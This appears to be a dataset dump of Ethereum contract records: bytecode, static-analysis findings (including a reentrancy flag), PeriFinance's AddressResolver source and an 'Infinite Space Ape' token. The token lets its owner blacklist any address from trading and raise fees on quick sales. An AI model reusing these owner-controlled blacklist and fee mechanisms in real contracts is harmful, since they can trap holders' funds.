ff61067416565b600f557fbb28353e4598c3b9199101a66e0989549b659a59a54d2c27fbb183f1932c8e6d3383604051600160a060020a03909216825260208201526040908101905180910390a1600160a060020a03331682156108fc0283604051600060405180830381858888f193505050501515610c4d57600080fd5b5050565b60155433600160a060020a03908116911614610c6c57600080fd5b6015805474ff0000000000000000000000000000000000000000191660a060020a179055565b60155433600160a060020a03908116911614610cad57600080fd5b80421115610cba57600080fd5b60018190557fd34bb772c4ae9baa99db852f622773b31c7827e8ee818449fef20d30980bd3108160405190815260200160405180910390a150565b600654600090600a83900a90610d2190610d15868463ffffffff61114216565b9063ffffffff61116616565b949350505050565b601c5481565b600854600e54101590565b600480610d45610a88565b6006811115610d5057fe5b14610d5a57600080fd5b341515610d6657600080fd5b601c54610d79903463ffffffff61067416565b601c5550565b600e5481565b600554600090600a83900a90610d2190610d15868463ffffffff61114216565b60145481565b601554600160a060020a031681565b601754600160a060020a031681565b60196020526000908152604090205481565b60085481565b60155433600160a060020a03908116911614610dfc57600080fd5b600180610e07610a88565b6006811115610e1257fe5b14610e1c57600080fd5b610e2784848461117d565b601654600160a060020a0316632f30cd5f858560405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515610e7d57600080fd5b6102c65a03f11515610e8e57600080fd5b50505050505050565b600b5481565b60135481565b60005481565b600c5481565b60095481565b601d5460ff1681565b60155460a060020a900460ff1681565b60075481565b60045481565b600d5481565b60155433600160a060020a03908116911614610efb57600080fd5b60155460a060020a900460ff161515610f1357600080fd5b6015805474ff000000000000000000000000000000000000000019169055565b601b5481565b60065481565b600154421190565b600a5481565b60155433600160a060020a03908116911614610f6857600080fd5b600160a060020a0381161515610f7d57600080fd5b6015805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b601654600160a060020a031681565b601554600090819081908190819033600160a060020a03908116911614610fe157600080fd5b601a549450611004601354606403610d156013548861114290919063ffffffff16565b9350600092505b60125483101561113b57600083815260116020526040902054600160a060020a0316915081151561103b57611130565b601354600160a060020a03831660009081526010602052604090205461106d9190610d1590879063ffffffff61114216565b601654909150600160a060020a03166340c10f19838360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156110cf57600080fd5b6102c65a03f115156110e057600080fd5b50505060405180519050507f863e8042813e162f16aeac04975c9faa579398a970f288e5fbcda9ff53dc4f718282604051600160a060020a03909216825260208201526040908101905180910390a15b60019092019161100b565b5050505050565b600082820283158061115e575082848281151561115b57fe5b04145b151561068357fe5b600080828481151561117457fe5b04949350505050565b601454601354611193908363ffffffff61067416565b111561119e57600080fd5b6013546064906111b4908363ffffffff61067416565b11156111bf57600080fd5b600160a060020a038316600090815260106020526040902054156111e257600080fd5b600160a060020a03831660008181526010602090815260408083208590556012805484526011909252909120805473ffffffffffffffffffffffffffffffffffffffff191690921790915580546001019055601354611247908263ffffffff61067416565b6013557f7863a698fba9e6c0b58d12057f4a6add651927dafda1f69a526805a41acb531d8383836040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a15050505600a165627a7a7230582035b61f75254f5d42af4aaa90304e1d15b3ea0a00566134f47af85c3d4eb057e90029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 5,387 |
0xC64a056D25c8536a42fd82f28A755CEA031143d7
|
/*
___ _ ___ _
| .\ ___ _ _ <_> ___ | __><_>._ _ ___ ._ _ ___ ___
| _// ._>| '_>| ||___|| _> | || ' |<_> || ' |/ | '/ ._>
|_| \___.|_| |_| |_| |_||_|_|<___||_|_|\_|_.\___.
* PeriFinance: AddressResolver.sol
*
* Latest source (may be newer): https://github.com/perifinance/peri-finance/blob/master/contracts/AddressResolver.sol
* Docs: Will be added in the future.
* https://docs.peri.finance/contracts/source/contracts/AddressResolver
*
* Contract Dependencies:
* - IAddressResolver
* - Owned
* Libraries: (none)
*
* MIT License
* ===========
*
* Copyright (c) 2021 PeriFinance
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.5.16;
// https://docs.peri.finance/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// https://docs.peri.finance/contracts/source/interfaces/iaddressresolver
interface IAddressResolver {
function getAddress(bytes32 name) external view returns (address);
function getPynth(bytes32 key) external view returns (address);
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address);
}
// https://docs.peri.finance/contracts/source/interfaces/ipynth
interface IPynth {
// Views
function currencyKey() external view returns (bytes32);
function transferablePynths(address account) external view returns (uint);
// Mutative functions
function transferAndSettle(address to, uint value) external returns (bool);
function transferFromAndSettle(
address from,
address to,
uint value
) external returns (bool);
// Restricted: used internally to PeriFinance
function burn(address account, uint amount) external;
function issue(address account, uint amount) external;
}
// https://docs.peri.finance/contracts/source/interfaces/iissuer
interface IIssuer {
// Views
function anyPynthOrPERIRateIsInvalid() external view returns (bool anyRateInvalid);
function availableCurrencyKeys() external view returns (bytes32[] memory);
function availablePynthCount() external view returns (uint);
function availablePynths(uint index) external view returns (IPynth);
function canBurnPynths(address account) external view returns (bool);
function collateral(address account) external view returns (uint);
function collateralisationRatio(address issuer) external view returns (uint);
function collateralisationRatioAndAnyRatesInvalid(address _issuer)
external
view
returns (uint cratio, bool anyRateIsInvalid);
function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance);
function issuanceRatio() external view returns (uint);
function externalTokenLimit() external view returns (uint);
function lastIssueEvent(address account) external view returns (uint);
function maxIssuablePynths(address issuer) external view returns (uint maxIssuable);
function externalTokenQuota(
address _account,
uint _addtionalpUSD,
uint _addtionalExToken,
bool _isIssue
) external view returns (uint);
function maxExternalTokenStakeAmount(address _account, bytes32 _currencyKey)
external
view
returns (uint issueAmountToQuota, uint stakeAmountToQuota);
function minimumStakeTime() external view returns (uint);
function remainingIssuablePynths(address issuer)
external
view
returns (
uint maxIssuable,
uint alreadyIssued,
uint totalSystemDebt
);
function pynths(bytes32 currencyKey) external view returns (IPynth);
function getPynths(bytes32[] calldata currencyKeys) external view returns (IPynth[] memory);
function pynthsByAddress(address pynthAddress) external view returns (bytes32);
function totalIssuedPynths(bytes32 currencyKey, bool excludeEtherCollateral) external view returns (uint);
function transferablePeriFinanceAndAnyRateIsInvalid(address account, uint balance)
external
view
returns (uint transferable, bool anyRateIsInvalid);
// Restricted: used internally to PeriFinance
function issuePynths(
address _issuer,
bytes32 _currencyKey,
uint _issueAmount
) external;
function issueMaxPynths(address _issuer) external;
function issuePynthsToMaxQuota(address _issuer, bytes32 _currencyKey) external;
function burnPynths(
address _from,
bytes32 _currencyKey,
uint _burnAmount
) external;
function fitToClaimable(address _from) external;
function exit(address _from) external;
function liquidateDelinquentAccount(
address account,
uint pusdAmount,
address liquidator
) external returns (uint totalRedeemed, uint amountToLiquidate);
}
// solhint-disable payable-fallback
// https://docs.peri.finance/contracts/source/contracts/readproxy
contract ReadProxy is Owned {
address public target;
constructor(address _owner) public Owned(_owner) {}
function setTarget(address _target) external onlyOwner {
target = _target;
emit TargetUpdated(target);
}
function() external {
// The basics of a proxy read call
// Note that msg.sender in the underlying will always be the address of this contract.
assembly {
calldatacopy(0, 0, calldatasize)
// Use of staticcall - this will revert if the underlying function mutates state
let result := staticcall(gas, sload(target_slot), 0, calldatasize, 0, 0)
returndatacopy(0, 0, returndatasize)
if iszero(result) {
revert(0, returndatasize)
}
return(0, returndatasize)
}
}
event TargetUpdated(address newTarget);
}
// Inheritance
// Internal references
// https://docs.peri.finance/contracts/source/contracts/mixinresolver
contract MixinResolver {
AddressResolver public resolver;
mapping(bytes32 => address) private addressCache;
constructor(address _resolver) internal {
resolver = AddressResolver(_resolver);
}
/* ========== INTERNAL FUNCTIONS ========== */
function combineArrays(bytes32[] memory first, bytes32[] memory second)
internal
pure
returns (bytes32[] memory combination)
{
combination = new bytes32[](first.length + second.length);
for (uint i = 0; i < first.length; i++) {
combination[i] = first[i];
}
for (uint j = 0; j < second.length; j++) {
combination[first.length + j] = second[j];
}
}
/* ========== PUBLIC FUNCTIONS ========== */
// Note: this function is public not external in order for it to be overridden and invoked via super in subclasses
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {}
function rebuildCache() public {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
// The resolver must call this function whenver it updates its state
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// Note: can only be invoked once the resolver has all the targets needed added
address destination =
resolver.requireAndGetAddress(name, string(abi.encodePacked("Resolver missing target: ", name)));
addressCache[name] = destination;
emit CacheUpdated(name, destination);
}
}
/* ========== VIEWS ========== */
function isResolverCached() external view returns (bool) {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// false if our cache is invalid or if the resolver doesn't have the required address
if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) {
return false;
}
}
return true;
}
/* ========== INTERNAL FUNCTIONS ========== */
function requireAndGetAddress(bytes32 name) internal view returns (address) {
address _foundAddress = addressCache[name];
require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name)));
return _foundAddress;
}
/* ========== EVENTS ========== */
event CacheUpdated(bytes32 name, address destination);
}
// Inheritance
// Internal references
// https://docs.peri.finance/contracts/source/contracts/addressresolver
contract AddressResolver is Owned, IAddressResolver {
mapping(bytes32 => address) public repository;
constructor(address _owner) public Owned(_owner) {}
/* ========== RESTRICTED FUNCTIONS ========== */
function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner {
require(names.length == destinations.length, "Input lengths must match");
for (uint i = 0; i < names.length; i++) {
bytes32 name = names[i];
address destination = destinations[i];
repository[name] = destination;
emit AddressImported(name, destination);
}
}
/* ========= PUBLIC FUNCTIONS ========== */
function rebuildCaches(MixinResolver[] calldata destinations) external {
for (uint i = 0; i < destinations.length; i++) {
destinations[i].rebuildCache();
}
}
/* ========== VIEWS ========== */
function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) {
for (uint i = 0; i < names.length; i++) {
if (repository[names[i]] != destinations[i]) {
return false;
}
}
return true;
}
function getAddress(bytes32 name) external view returns (address) {
return repository[name];
}
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) {
address _foundAddress = repository[name];
require(_foundAddress != address(0), reason);
return _foundAddress;
}
function getPynth(bytes32 key) external view returns (address) {
IIssuer issuer = IIssuer(repository["Issuer"]);
require(address(issuer) != address(0), "Cannot find Issuer address");
return address(issuer.pynths(key));
}
/* ========== EVENTS ========== */
event AddressImported(bytes32 name, address destination);
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806379ba50971161007157806379ba5097146101a257806382b4c11c146101aa5780638da5cb5b146101c75780639f42102f146101cf578063ab0b8f77146102a1578063dacb2d011461035f576100a9565b80631627540c146100ae578063187f7935146100d657806321f8a7211461010f57806353a47bb71461012c578063766f781514610134575b600080fd5b6100d4600480360360208110156100c457600080fd5b50356001600160a01b03166103d4565b005b6100f3600480360360208110156100ec57600080fd5b5035610430565b604080516001600160a01b039092168252519081900360200190f35b6100f36004803603602081101561012557600080fd5b503561044b565b6100f3610466565b6100d46004803603602081101561014a57600080fd5b810190602081018135600160201b81111561016457600080fd5b82018360208201111561017657600080fd5b803590602001918460208302840111600160201b8311171561019757600080fd5b509092509050610475565b6100d46104ff565b6100f3600480360360208110156101c057600080fd5b50356105bb565b6100f36106c3565b61028d600480360360408110156101e557600080fd5b810190602081018135600160201b8111156101ff57600080fd5b82018360208201111561021157600080fd5b803590602001918460208302840111600160201b8311171561023257600080fd5b919390929091602081019035600160201b81111561024f57600080fd5b82018360208201111561026157600080fd5b803590602001918460208302840111600160201b8311171561028257600080fd5b5090925090506106d2565b604080519115158252519081900360200190f35b6100d4600480360360408110156102b757600080fd5b810190602081018135600160201b8111156102d157600080fd5b8201836020820111156102e357600080fd5b803590602001918460208302840111600160201b8311171561030457600080fd5b919390929091602081019035600160201b81111561032157600080fd5b82018360208201111561033357600080fd5b803590602001918460208302840111600160201b8311171561035457600080fd5b50909250905061075b565b6100f36004803603604081101561037557600080fd5b81359190810190604081016020820135600160201b81111561039657600080fd5b8201836020820111156103a857600080fd5b803590602001918460018302840111600160201b831117156103c957600080fd5b509092509050610867565b6103dc6108db565b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce229181900360200190a150565b6002602052600090815260409020546001600160a01b031681565b6000908152600260205260409020546001600160a01b031690565b6001546001600160a01b031681565b60005b818110156104fa5782828281811061048c57fe5b905060200201356001600160a01b03166001600160a01b031663741853606040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156104d657600080fd5b505af11580156104ea573d6000803e3d6000fd5b5050600190920191506104789050565b505050565b6001546001600160a01b031633146105485760405162461bcd60e51b81526004018080602001828103825260358152602001806109276035913960400191505060405180910390fd5b600054600154604080516001600160a01b03938416815292909116602083015280517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c9281900390910190a160018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6524b9b9bab2b960d11b600090815260026020527f0651498423135bdecab48e2d306f14d560a72d49179b71410fd95b5d25ce349a546001600160a01b03168061064c576040805162461bcd60e51b815260206004820152601a60248201527f43616e6e6f742066696e64204973737565722061646472657373000000000000604482015290519081900360640190fd5b806001600160a01b03166357ad4663846040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561069057600080fd5b505afa1580156106a4573d6000803e3d6000fd5b505050506040513d60208110156106ba57600080fd5b50519392505050565b6000546001600160a01b031681565b6000805b8481101561074d578383828181106106ea57fe5b905060200201356001600160a01b03166001600160a01b03166002600088888581811061071357fe5b60209081029290920135835250810191909152604001600020546001600160a01b031614610745576000915050610753565b6001016106d6565b50600190505b949350505050565b6107636108db565b8281146107b7576040805162461bcd60e51b815260206004820152601860248201527f496e707574206c656e67746873206d757374206d617463680000000000000000604482015290519081900360640190fd5b60005b838110156108605760008585838181106107d057fe5b90506020020135905060008484848181106107e757fe5b600085815260026020908152604091829020805493820295909501356001600160a01b03166001600160a01b03199093168317909455805186815293840182905280519194507fefe884cc7f82a6cf3cf68f64221519dcf96b5cae9048e1bb008ee32cd05aaa9193829003019150a150506001016107ba565b5050505050565b6000838152600260205260408120546001600160a01b03168383826108d05760405162461bcd60e51b815260206004820190815260248201839052908190604401848480828437600083820152604051601f909101601f19169092018290039550909350505050fd5b509095945050505050565b6000546001600160a01b031633146109245760405162461bcd60e51b815260040180806020018281038252602f81526020018061095c602f913960400191505060405180910390fd5b56fe596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e6572736869704f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6ea265627a7a723158204d95ed7e1b86e34d8913bba26eaf1a4babe65990a29c410f6d35831d6e820fa064736f6c63430005100032
|
{"success": true, "error": null, "results": {}}
| 5,388 |
0xf59882a3a2a23e6f7001745cd224995b558e413e
|
/**
social link:
https://infinitespaceape.com/
https://twitter.com/I_SpaceApe
https://t.me/InfiniteSpaceApe
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract InfiniteSpaceApe is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Infinite Space Ape";
string private constant _symbol = "ISAPE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private maxWalletAmount = _tTotal * 50 / 1000;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x39d253F5117aa2ad11f11990502EfA804b79f991);
_feeAddrWallet2 = payable(0x39d253F5117aa2ad11f11990502EfA804b79f991);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function originalPurchase(address account) public view returns (uint256) {
return _buyMap[account];
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() {
_maxTxAmount = maxTransactionAmount;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isBuy(from)) {
if (_buyMap[from] != 0 &&
(_buyMap[from] + (24 hours) >= block.timestamp)) {
_feeAddr1 = 2;
_feeAddr2 = 16;
} else {
_feeAddr1 = 1;
_feeAddr2 = 8;
}
} else {
if (_buyMap[to] == 0) {
_buyMap[to] = block.timestamp;
}
_feeAddr1 = 1;
_feeAddr2 = 8;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(cooldown[to] < block.timestamp);
require(amount <= _maxTxAmount);
require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet exceeded");
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 15000000000 * 10 ** 9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1000000000000 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function updateMaxTx (uint256 fee) public onlyOwner {
_maxTxAmount = fee;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c2d0ffca1161006f578063c2d0ffca146103d7578063c3c8cd8014610400578063c9567bf914610417578063cc653b441461042e578063dd62ed3e1461046b578063ff872602146104a857610135565b80638da5cb5b146102f257806395d89b411461031d578063a9059cbb14610348578063b515566a14610385578063bc337182146103ae57610135565b8063313ce567116100f2578063313ce567146102335780635932ead11461025e5780636fc3eaec1461028757806370a082311461029e578063715018a6146102db57610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063273123b71461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104bf565b60405161015c9190612f27565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612a6d565b6104fc565b6040516101999190612f0c565b60405180910390f35b3480156101ae57600080fd5b506101b761051a565b6040516101c491906130a9565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190612a1e565b61052b565b6040516102019190612f0c565b60405180910390f35b34801561021657600080fd5b50610231600480360381019061022c9190612990565b610604565b005b34801561023f57600080fd5b506102486106f4565b604051610255919061311e565b60405180910390f35b34801561026a57600080fd5b5061028560048036038101906102809190612aea565b6106fd565b005b34801561029357600080fd5b5061029c6107af565b005b3480156102aa57600080fd5b506102c560048036038101906102c09190612990565b610821565b6040516102d291906130a9565b60405180910390f35b3480156102e757600080fd5b506102f0610872565b005b3480156102fe57600080fd5b506103076109c5565b6040516103149190612e3e565b60405180910390f35b34801561032957600080fd5b506103326109ee565b60405161033f9190612f27565b60405180910390f35b34801561035457600080fd5b5061036f600480360381019061036a9190612a6d565b610a2b565b60405161037c9190612f0c565b60405180910390f35b34801561039157600080fd5b506103ac60048036038101906103a79190612aa9565b610a49565b005b3480156103ba57600080fd5b506103d560048036038101906103d09190612b3c565b610b99565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190612b3c565b610c38565b005b34801561040c57600080fd5b50610415610cd7565b005b34801561042357600080fd5b5061042c610d51565b005b34801561043a57600080fd5b5061045560048036038101906104509190612990